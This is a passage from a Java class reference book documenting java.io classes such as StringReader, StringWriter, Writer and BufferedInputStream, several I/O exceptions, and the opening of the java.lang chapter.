This method returns a string representation of the current token recognized by the nextToken() method. This string representation consists of the value of ttype, the value of sval if the token is a word or the value of nval if the token is a number, and the current line number.

whitespaceChars

public void whitespaceChars(int low, int hi)

Parameters

low

The beginning of a range of character values.

hi

The end of a range of character values.

Description

This method causes this StreamTokenizer to treat characters in the specified range as whitespace. The only function of whitespace characters is to separate tokens in the stream.

wordChars

public void wordChars(int low, int hi)

Parameters

low

The beginning of a range of character values.

hi

The end of a range of character values.

Description

This method causes this StreamTokenizer to treat characters in the specified range as characters that are part of a word token, or, in other words, consider the characters to be alphabetic. A word token consists of a sequence of characters that begins with an alphabetic character and is followed by zero or more numeric or alphabetic characters.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

InputStream, IOException, Reader, StringTokenizer

Previous | Home | Next
StreamCorruptedException | Book Index | StringBufferInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] StringBufferInputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

StringBufferInputStream

Name

StringBufferInputStream

Synopsis

Class Name:

java.io.StringBufferInputStream

Superclass:

java.io.InputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

Deprecated as of JDK 1.1

Description

The StringBufferInputStream class represents a byte stream whose data source is a String. This class is similar to the ByteArrayInputStream class, which uses a byte array as its data source.

StringBufferInputStream is deprecated as of JDK 1.1 because it does not correctly convert characters to bytes. The StringReader class should now be used to create a character stream from a String.

Class Summary

public class java.io.StringBufferInputStream extends java.io.InputStream {
  // Variables
  protected String buffer;
  protected int count;
  protected int pos;
  // Constructor
  public StringBufferInputStream(String s);
  // Instance Methods
  public synchronized int available();
  public synchronized int read();
  public synchronized int read(byte[] b, int off, int len);
  public synchronized void reset();
  public synchronized long skip(long n);
}

Variables

buffer

protected String buffer

Description

The buffer that stores the data for the input stream.

count

protected int count

Description

The size of the buffer, or in other words, the length of the string.

pos

protected int pos

Description

The current stream position.

Constructors

StringBufferInputStream

public StringBufferInputStream(String s)

Parameters

s

The String to use.

Description

This constructor creates a StringBufferInputStream that uses the given String as its data source. Note that the data is not copied, so changes made to the String affect the data that the StringBufferInputStream returns.

Instance Methods

available

public synchronized int available()

Returns

The number of bytes remaining in the string.

Overrides

InputStream.available()

Description

This method returns the number of bytes that are left in the string. This is the length of the string, count, minus the current stream position, pos.

read

public synchronized int read()

Returns

The next byte of data or -1 if the end of the string is encountered.

Overrides

InputStream.read()

Description

This method returns the next byte from the string. The method takes the next character from the string and returns the low eight bits of that character as a byte, which is not the correct way to convert characters into bytes. The method cannot block.

public synchronized int read(byte b[], int off, int len)

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The actual number of bytes read or -1 if the end of the string is encountered immediately.

Overrides

InputStream.read(byte[], int, int)

Description

This method copies bytes from the internal buffer into the given array b, starting at index off and continuing for len bytes. The method takes each character from the string and returns the low eight bits of that character as a byte, which is not the correct way to convert characters into bytes.

reset

public synchronized void reset()

Overrides

InputStream.reset()

Description

This method sets the position of the StringBufferInputStream back to the beginning of the internal buffer.

skip

public synchronized long skip(long n)

Parameters

n

The number of bytes to skip.

Returns

The actual number of bytes skipped.

Overrides

InputStream.skip()

Description

This method skips n bytes of the string. If you try to skip past the end of the string, the stream is positioned at the end of the string.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | InputStream
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
mark(int) | InputStream | markSupported() | InputStream
notify() | Object | notifyAll() | Object
read(byte[]) | InputStream | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ByteArrayInputStream, InputStream, IOException, String, StringReader

Previous | Home | Next
StreamTokenizer | Book Index | StringReader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] StringReader

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

StringReader

Name

StringReader

Synopsis

Class Name:

java.io.StringReader

Superclass:

java.io.Reader

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The StringReader class represents a character stream whose data source is a String. This class is similar to the CharArrayReader class, which uses a char array as its data source.

StringReader is meant to replace the StringBufferInputStream class as of JDK 1.1. Unlike StringBufferInputStream, StringReader handles Unicode characters and supports mark() and reset().

Class Summary

public class java.io.StringReader extends java.io.Reader {
  // Constructors
  public StringReader(String s);
  // Instance Methods
  public void close();
  public void mark(int readAheadLimit);
  public boolean markSupported();
  public int read();
  public int read(char[] cbuf, int off, int len);
  public boolean ready();
  public void reset();
  public long skip(long ns);
}

Constructors

StringReader

public StringReader(String s)

Parameters

s

The String to use.

Description

This constructor creates a StringReader that uses the given String as its data source. The data is not copied, so changes made to the String affect the data that the StringReader returns.

Instance Methods

close

public void close()

Overrides

Reader.close()

Description

This method closes the reader by removing the link between this StringReader and the String it was created with.

mark

public void mark(int readAheadLimit) throws IOException

Parameters

readAheadLimit

The maximum number of characters that can be read before the saved position becomes invalid.

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.mark()

Description

This method causes the StringReader to remember its current position. A subsequent call to reset() causes the object to return to that saved position, and thus re-read a portion of the string. Because the data for this stream comes from a String, there is no limit on reading ahead, so readAheadLimit is ignored.

markSupported

public boolean markSupported()

Returns

The boolean value true.

Overrides

Reader.markSupported()

Description

This method returns true to indicate that this class supports mark() and reset().

read

public int read() throws IOException

Returns

The next character or -1 if the end of the string is encountered.

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.read()

Description

This method returns the next character from the string. The method cannot block.

public int read(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to be filled from the stream.

off

An offset into the character array.

len

The number of characters to read.

Returns

The actual number of characters read or -1 if the end of the string is encountered immediately.

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.read(char[], int, int)

Description

This method copies up to len characters from the internal buffer into the given array cbuf, starting at index off.

ready

public boolean ready() throws IOException

Returns

A boolean value that indicates whether the stream is ready to be read.

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.ready()

Description

If there is any data left to be read from the string, this method returns true.

reset

public void reset() throws IOException

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.reset()

Description

This method resets the position of the StringReader to the position that was saved by calling the mark() method. If mark() has not been called, the StringReader is reset to read from the beginning of the string.

skip

public long skip(long ns) throws IOException

Parameters

ns

The number of bytes to skip.

Returns

The actual number of bytes skipped.

Throws

IOException

If the stream is closed or any other kind of I/O error occurs.

Overrides

Reader.skip()

Description

This method skips ns characters of input. If you try to skip past the end of the string, the stream is positioned at the end of the string.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals (Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | read(char[]) | Reader
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

CharArrayReader, IOException, Reader, String, StringBufferInputStream

Previous | Home | Next
StringBufferInputStream | Book Index | StringWriter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] StringWriter

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

StringWriter

Name

StringWriter

Synopsis

Class Name:

java.io.StringWriter

Superclass:

java.io.Writer

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The StringWriter class represents a stream whose data is written to a string. This class is similar to the CharArrayWriter class, which writes its data to a char array. The StringWriter class uses a StringBuffer to store its data; a String can be retrieved with the toString() method.

Class Summary

public class java.io.StringWriter extends java.io.Writer {
  // Constructors
  public StringWriter();
  protected StringWriter(int initialSize);
  // Instance Methods
  public void close();
  public void flush();
  public StringBuffer getBuffer();
  public String toString();
  public void write(int c);
  public void write(char[] cbuf, int off, int len);
  public void write(String str);
  public void write(String str, int off, int len);
}

Constructors

StringWriter

public StringWriter()

Description

This constructor creates a StringWriter with an internal buffer that has a default size of 16 characters. The buffer grows automatically as data is written to the stream.

protected StringWriter (int initialSize)

Parameters

initialSize

The initial buffer size.

Description

This constructor creates a StringWriter with an internal buffer that has a size of initialSize characters. The buffer grows automatically as data is written to the stream.

Instance Methods

close

public void close()

Overrides

Writer.close()

Description

This method does nothing. For most subclassesof Writer, this method releases any system resources that are associated with the Writer object. However, the StringWriter's internal buffer may be needed for subsequent calls to toString(). For this reason, close() does nothing, and the internal buffer is not released until the StringWriter is garbage collected.

flush

public void flush()

Overrides

Writer.flush()

Description

This method does nothing. The StringWriter writes data directly into its internal buffer; thus it is never necessary to flush the stream.

getBuffer

public StringBuffer getBuffer()

Returns

A reference to the internal data buffer.

Description

This method returns a reference to the StringBuffer object that is used in this StringWriter.

toString

public String toString()

Returns

A String constructed from the internal data buffer.

Overrides

Object.toString()

Description

This method returns a reference to a String object created from the characters stored in this object's internal buffer.

write

public void write(int c)

Parameters

c

The value to write.

Overrides

Writer.write(int)

Description

This method writes the given value into the internal buffer. If the buffer is full, it is expanded.

public void write(char[] cbuf, int off, int len)

Parameters

cbuf

An array of characters to write to the stream.

off

An offset into the character array.

len

The number of characters to write.

Overrides

Writer.write(char[], int, int)

Description

This method copies len characters to this object's internal buffer from cbuf, starting off elements from the beginning of the array. If the internal buffer is full, it is expanded.

public void write(String str)

Parameters

str

A String to write to the stream.

Overrides

Writer.write(String)

Description

This method copies the characters of str into this object's internal buffer. If the internal buffer is full, it is expanded.

public void write(String str, int off, int len)

Parameters

str

A String to write to the stream.

off

An offset into the string.

len

The number of characters to write.

Overrides

Writer.write(String, int, int)

Description

This method copies len characters to this object's internal buffer from str, starting off characters from the beginning of the given string. If the internal buffer is full, it is expanded.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object
write(char[]) | Writer |  |

See Also

CharArrayWriter, String, StringBuffer, Writer

Previous | Home | Next
StringReader | Book Index | SyncFailedException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] SyncFailedException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

SyncFailedException

Name

SyncFailedException

Synopsis

Class Name:

java.io.SyncFailedException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A SyncFailedException is thrown from when an underlying I/O device cannot be synchronized to a known state. The FileDescriptor.sync() method throws this exception when its synchronization operation fails.

Class Summary

public class java.io.SyncFailedException extends java.io.IOException {
  // Constructors
  public SyncFailedException(String desc);
}

Constructors

SyncFailedException

public SyncFailedException(String desc)

Parameters

desc

A description of the reason this exception was thrown.

Description

This constructor creates a SyncFailedException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, FileDescriptor, IOException, Throwable

Previous | Home | Next
StringWriter | Book Index | UnsupportedEncodingException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] UnsupportedEncodingException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

UnsupportedEncodingException

Name

UnsupportedEncodingException

Synopsis

Class Name:

java.io.UnsupportedEncodingException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

An UnsupportedEncodingException is thrown when a character encoding scheme is not available. It can be thrown by methods of classes in java.io and other packages.

Class Summary

public class java.io.UnsupportedEncodingException
             extends java.io.IOException {
  // Constructors
  public UnsupportedEncodingException();
  public UnsupportedEncodingException(String s);
}

Constructors

UnsupportedEncodingException

public UnsupportedEncodingException()

Description

This constructor creates an UnsupportedEncodingException with no detail message.

public UnsupportedEncodingException(String s)

Parameters

s

The detail message.

Description

This constructor creates an UnsupportedEncodingException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, Throwable

Previous | Home | Next
SyncFailedException | Book Index | UTFDataFormatException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] UTFDataFormatException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

UTFDataFormatException

Name

UTFDataFormatException

Synopsis

Class Name:

java.io.UTFDataFormatException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A UTFDataFormatException is thrown when there is an attempt to read a UTF string from a stream that does not contain a properly formatted UTF string. See Appendix B, The UTF-8 Encoding, for a desciption of the UTF-8 encoding.

Class Summary

public class java.io.UTFDataFormatException extends java.io.IOException {
  // Constructors
  public UTFDataFormatException();
  public UTFDataFormatException(String s);
}

Constructors

UTFDataFormatException

public UTFDataFormatException()

Description

This constructor creates a UTFDataFormatException with no detail message.

public UTFDataFormatException(String s)

Parameters

s

The detail message.

Description

This constructor creates a UTFDataFormatException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, Throwable

Previous | Home | Next
UnsupportedEncodingException | Book Index | WriteAbortedException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] WriteAbortedException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

WriteAbortedException

Name

WriteAbortedException

Synopsis

Class Name:

java.io.WriteAbortedException

Superclass:

java.io.ObjectStreamException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

A WriteAbortedException is thrown during object deserialization when the stream of data is incomplete because an exception was thrown while it was being written. Thus, WriteAbortedException represents an exception that was thrown during object serialization and serialized into the stream.

Class Summary

public class java.io.WriteAbortedException
             extends java.io.ObjectStreamException {
  // Variables
  public Exception detail;

  // Constructors
  public WriteAbortedException(String s, Exception ex);
  // Instance Methods
  public String getMessage();
}

Variables

detail

public Exception detail

Description

The exception that was thrown during serialization; it is a subclass of ObjectStreamException.

Constructors

WriteAbortedException

public WriteAbortedException(String s, Exception ex)

Parameters

s

A description of the reason this exception was thrown.

ex

The exception that was thrown during serialization.

Description

This constructor creates a WriteAbortedException with the specified reason string. The created exception wraps the given exception thrown during serialization.

Instance Methods

getMessage

public String getMessage()

Returns

The detail message for this exception.

Overrides

Throwable.getMessage()

Description

This method returns the detail message of this exception, as well the detail message of the nested exception if it exists.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, ObjectStreamException, Throwable

Previous | Home | Next
UTFDataFormatException | Book Index | Writer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] Writer

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

Writer

Name

Writer

Synopsis

Class Name:

java.io.Writer

Superclass:

java.lang.Object

Immediate Subclasses:

java.io.BufferedWriter, java.io.CharArrayWriter,

java.io.FilterWriter, java.io.OutputStreamWriter,

java.io.PipedWriter, java.io.PrintWriter,

java.io.StringWriter

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The Writer class is an abstract class that is the superclass of all classes that represent output character streams. Writer defines the basic output methods that all character streams provide. A similar hierarchy of classes, based around OutputStream, deals with byte streams instead of character streams.

Writer is designed so that write(int b) and write(char[]) both call write(char[], int, int). Thus, a subclass can simply override write(char[], int, int) and all of the write methods will work. Note that this is different from the design of OutputStream, where the write(int b) method is the catch-all method. The design of Writer is cleaner and more efficient.

Some Writer subclasses may implement buffering to increase efficiency. Writer provides a method--flush()--that tells the Writer to write any buffered output to the underlying device, which may be a disk drive or a network.

Class Summary

public abstract class java.io.Writer extends java.lang.Object {
  // Variables
  protected Object lock;
  // Constructors
  protected Writer();
  protected Writer(Object lock);
  // Instance Methods
  public abstract void close();
  public abstract void flush();
  public void write(int c);
  public void write(char[] cbuf);
  public abstract void write(char[] cbuf, int off, int len);
  public void write(String str);
  public void write(String str, int off, int len);
}

Variables

lock

protected Object lock

Description

The object used to synchronize operations on this Writer object. For efficiency's sake, a particular implementation of a character stream can choose to synchronize its operations on something other than instances of itself. Thus, any subclass should synchronize on the lock object, instead of using a synchronized method or the this object.

Constructors

Writer

protected Writer()

Description

This constructor creates a Writer that synchronizes on the Writer itself, or in other words, on the this object.

protected Writer(Object lock)

Parameters

lock

The object to use for synchronization.

Description

This constructor creates a Writer that synchronizes on the given object.

Instance Methods

close

public abstract void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method flushes the writer and then closes it, releasing any system resources associated with it.

A subclass of Writer must implement this method.

flush

public void flush() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method forces any characters that may be buffered by this Writer to be written to the underlying device.

A subclass of Writer must implement this method.

write

public void write(int c) throws IOException

Parameters

c

The value to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes a character containing the lowest sixteen bits of the given integer value.

The implementation of this method in Writer writes the character by calling write(cb, 1) where cb is a character array that contains the given value in cb[0]. Although it is not strictly necessary, a subclass that wants to provide efficient single-character writes should override this method.

public void write(char[] cbuf) throws IOException

Parameters

cbuf

An array of characters to write to the stream.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the given array of characters to the stream by calling write(cbuf, 0, cbuf.length).

A subclass does not usually need to override this method, as it can override write(char[], int, int) and have write(char[]) work automatically.

 public abstract void write(char[] cbuf, int off, int len) throws IOException

Parameters

cbuf

An array of characters to write to the stream.

off

An offset into the array.

len

The number of characters to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes len characters contained in the given array starting at index off.

A subclass of Writer must implement this method.

public void write(String str) throws IOException

Parameters

str

A string to write to the stream.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes the given string to the stream by calling write(str,str.length).

A subclass does not usually need to override this method, as it can override write(char[], int, int) and have it work automatically.

public void write(String str, int off, int len) throws IOException

Parameters

str

A string to write to the stream.

off

An offset into the string.

len

The number of characters to write.

Throws

IOException

If any kind of I/O error occurs.

Description

This method writes len characters contained in the given string starting at index off. The method does this by creating an array of characters for the specified portion of the string and then calling write(cb, 0, cb.length) on the character array cb.

A subclass does not usually need to override this method, as it can override write(char[], int, int) and have it work automatically.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

BufferedWriter, CharArrayWriter, FilterWriter, IOException, OutputStreamWriter, PipedWriter, PrintWriter, StringWriter

Previous | Home | Next
WriteAbortedException | Book Index | AbstractMethodError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] The java.io Package

Java Fundamental Classes Reference

Previous Chapter 11 Next

11. The java.io Package

Contents:

Select a new section and then

The package java.io contains the classes that handle fundamental input and output operations in Java. The I/O classes can be grouped as follows:

  • Classes for reading input from a stream of data.

  • Classes for writing output to a stream of data.

  • Classes that manipulate files on the local filesystem.

  • Classes that handle object serialization.

I/O in Java is based on streams. A stream represents a flow of data or a channel of communication. Java 1.0 supports only byte streams. The InputStream class is the superclass of all of the Java 1.0 byte input streams, while OutputStream is the superclass of all the byte output streams. The drawback to these byte streams is that they do not always handle Unicode characters correctly.

As of Java 1.1, java.io contains classes that represent character streams. These character stream classes handle Unicode characters appropriately by using a character encoding to convert bytes to characters and vice versa. The Reader class is the superclass of all the Java 1.1 character input streams, while Writer is the superclass of all character output streams.

The InputStreamReader and OutputStreamWriter classes provide a bridge between byte streams and character streams. If you wrap an InputStreamReader around an InputStream object, the bytes in the byte stream are read and converted to characters using the character encoding scheme specified by the InputStreamReader. Likewise, you can wrap an OutputStreamWriter around any OutputStream object so that you can write characters and have them converted to bytes.

As of Java 1.1, java.io also contains classes to support object serialization. Object serialization is the ability to write the complete state of an object to an output stream, and then later recreate that object by reading in the serialized state from an input stream. The ObjectOutputStream and ObjectInputStream classes handle serializing and deserializing objects, respectively.

The RandomAccessFile class is the only class that does not use a stream for reading or writing data. As its name implies, RandomAccessFile provides nonsequential access to a file for both reading and writing purposes.

The File class represents a file on the local file system. The class provides methods to identify and retrieve information about a file.

Figure 11.1 shows the class hierarchy for the java.io package. The java.io package defines a number of standard I/O exception classes. These exception classes are all subclasses of IOException, as shown in Figure 11.2.

Figure 11.1: The java.io package

[Graphic: Figure 11-1]

Figure 11.2: The exception classes in the java.io package

[Graphic: Figure 11-2]

BufferedInputStream

Name

BufferedInputStream

Synopsis

Class Name:

java.io.BufferedInputStream

Superclass:

java.io.FilterInputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A BufferedInputStream object provides a more efficient way to read just a few bytes at a time from an InputStream. BufferedInputStream object use a buffer to store input from an associated InputStream. In other words, a large number of bytes are read from the underlying stream and stored in an internal buffer. A BufferedInputStream is more efficient than a regular InputStream because reading data from memory is faster than reading it from a disk or a network. All reading is done directly from the internal buffer; the disk or network needs to be accessed only occasionally to fill up the buffer.

You should wrap a BufferedInputStream around any InputStream whose read() operations may be time consuming or costly, such as a FileInputStream.

BufferedInputStream provides a way to mark a position in the stream and subsequently reset the stream to that position, using mark() and reset().

Class Summary

public class java.io.BufferedInputStream extends java.io.FilterInputStream {
  // Variables
  protected byte[] buf;
  protected int count;
  protected int marklimit;
  protected int markpos;
  protected int pos;
  // Constructors
  public BufferedInputStream(InputStream in);
  public BufferedInputStream(InputStream in, int size);
  // Instance Methods
  public synchronized int available();
  public synchronized void mark(int readlimit);
  public boolean markSupported();
  public synchronized int read();
  public synchronized int read(byte[] b, int off, int len);
  public synchronized void reset();
  public synchronized long skip(long n);
}

Variables

buf

protected byte[] buf

Description

The buffer that stores the data from the input stream.

count

protected int count

Description

A placeholder that marks the end of valid data in the buffer.

marklimit

protected int marklimit

Description

The maximum number of bytes that can be read after a call to mark() before a call to reset() fails.

markpos

protected int markpos

Description

The position of the stream when mark() was called. If mark() has not been called, this variable is -1.

pos

protected int pos

Description

The current position in the buffer, or in other words, the index of the next character to be read.

Constructors

BufferedInputStream

public BufferedInputStream(InputStream in)

Parameters

in

The input stream to buffer.

Description

This constructor creates a BufferedInputStream that buffers input from the given InputStream, using a buffer with the default size of 2048 bytes.

public BufferedInputStream(InputStream in, int size)

Parameters

in

The input stream to buffer.

size

The size of buffer to use.

Description

This constructor creates a BufferedInputStream that buffers input from the given InputStream, using a buffer of the given size.

Instance Methods

available

public synchronized int available() throws IOException

Returns

The number of bytes that can be read without blocking.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.available()

Description

This method returns the number of bytes that can be read without having to wait for more data to become available. The returned value is the sum of the number of bytes remaining in the object's buffer and the number returned as the result of calling the available() method of the underlying InputStream object.

mark

public synchronized void mark(int readlimit)

Parameters

readlimit

The maximum number of bytes that can be read before the saved position becomes invalid.

Overrides

FilterInputStream.mark()

Description

This method causes the BufferedInputStream to remember its current position. A subsequent call to reset() causes the object to return to that saved position, and thus reread a portion of the buffer.

markSupported

public synchronized boolean markSupported()

Returns

The boolean value true.

Overrides

FilterInputStream.markSupported()

Description

This method returns true to indicate that this class supports mark() and reset().

read

public synchronized int read() throws IOException

Returns

The next byte of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read()

Description

This method returns the next byte from the buffer. If all the bytes in the buffer have been read, the buffer is filled from the underlying InputStream and the next byte is returned. If the buffer does not need to be filled, this method returns immediately. If the buffer needs to be filled, this method blocks until data is available from the underlying InputStream, the end of the stream is reached, or an exception is thrown.

 public synchronized int read(byte b[], int off, int len) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.read(byte[], int, int)

Description

This method copies bytes from the internal buffer into the given array b, starting at index off and continuing for up to len bytes. If there are any bytes in the buffer, this method returns immediately. Otherwise the buffer needs to be filled; this method blocks until the data is available from the underlying InputStream, the end of the stream is reached, or an exception is thrown.

reset

public synchronized void reset() throws IOException

Throws

IOException

If there was no previous call to this BufferedInputStream's mark method, or the saved position has been invalidated.

Overrides

FilterInputStream.reset()

Description

This method sets the position of the BufferedInputStream to a position that was saved by a previous call to mark(). Subsequent bytes read from this BufferedInputStream will begin from the saved position and continue normally.

skip

public synchronized long skip(long n) throws IOException

Parameters

n

The number of bytes to skip.

Returns

The actual number of bytes skipped.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.skip()

Description

This method skips n bytes of input. If the new position of the stream is still within the data contained in the buffer, the method returns immediately. Otherwise the skip() method of the underlying stream is called. A subsequent call to read() forces the buffer to be filled.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | FilterInputStream
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
read(byte[]) | FilterInputStream | toString() | Object
void wait() | Object | void wait(long) | Object
void wait(long, int) | Object |  |

See Also

FilterInputStream, InputStream, IOException

Previous | Home | Next
Writer | Book Index | BufferedOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] The java.lang Package

Java Fundamental Classes Reference

Previous Chapter 12 Next

12. The java.lang Package

Contents:
ArithmeticException
ArrayIndexOutOfBoundsException
ArrayStoreException
Boolean
Byte
Character
Class
ClassCastException
ClassCircularityError
ClassFormatError
ClassLoader
ClassNotFoundException
Cloneable
CloneNotSupportedException
Compiler
Double
Error
Exception
ExceptionInInitializerError
Float
IllegalAccessError
IllegalAccessException
IllegalArgumentException
IllegalMonitorStateException
IllegalStateException
IllegalThreadStateException
IncompatibleClassChangeError
IndexOutOfBoundsException
Integer
InstantiationError
InstantiationException
InternalError
InterruptedException
LinkageError
Long
Math
NegativeArraySizeException
NoClassDefFoundError
NoSuchFieldError
NoSuchFieldException
NoSuchMethodError
NoSuchMethodException
NullPointerException
Number
NumberFormatException
Object
OutOfMemoryError
Process
Runnable
Runtime
RuntimeException
SecurityException
SecurityManager
Short
StackOverflowError
String
StringBuffer
StringIndexOutOfBoundsException
System
Thread
ThreadDeath
ThreadGroup
Throwable
UnknownError
UnsatisfiedLinkError
VerifyError
VirtualMachineError
Void

The package java.lang contains classes and interfaces that are essential to the Java language. These include:

  • Object, the ultimate superclass of all classes in Java.

  • Thread, the class that controls each thread in a multithreaded program.

  • Throwable, the superclass of all error and exception classes in Java.

  • Classes that encapsulate the primitive data types in Java.

  • Classes for accessing system resources and other low-level entities.

  • Math, a class that provides standard mathematical methods.

  • String, the class that represents strings.

Because the classes in the java.lang package are so essential, the java.lang package is implicitly imported by every Java source file. In other words, you can refer to all of the classes and interfaces in java.lang using their simple names.

Figure 12.1 shows the class hierarchy for the java.lang package.

The possible exceptions in a Java program are organized in a hierarchy of exception classes. The Throwable class is at the root of the exception hierarchy. Throwable has two immediate subclasses: Exception and Error. Figure 12.2 shows the standard exception classes defined in the java.lang package, while Figure 12.3 shows the standard error classes defined in java.lang.

Figure 12.1: The java.lang package

[Graphic: Figure 12-1]

Figure 12.2: The exception classes in the java.lang package

[Graphic: Figure 12-2]

Figure 12.3: The error classes in the java.lang package

[Graphic: Figure 12-3]

AbstractMethodError

Name

AbstractMethodError

Synopsis

Class Name:

java.lang.AbstractMethodError

Superclass:

java.lang.IncompatibleClassChangeError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An AbstractMethodError is thrown when there is an attempt to invoke an abstract method.

Class Summary

public class java.lang.AbstractMethodError
             extends java.lang.IncompatibleClassChangeError {
  // Constructors
  public AbstractMethodError();
  public AbstractMethodError(String s);
}

Constructors

AbstractMethodError

public AbstractMethodError()

Description

This constructor creates an AbstractMethodError with no associated detail message.

public AbstractMethodError(String s)

Parameters

s

The detail message.

Description

This constructor creates an AbstractMethodError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
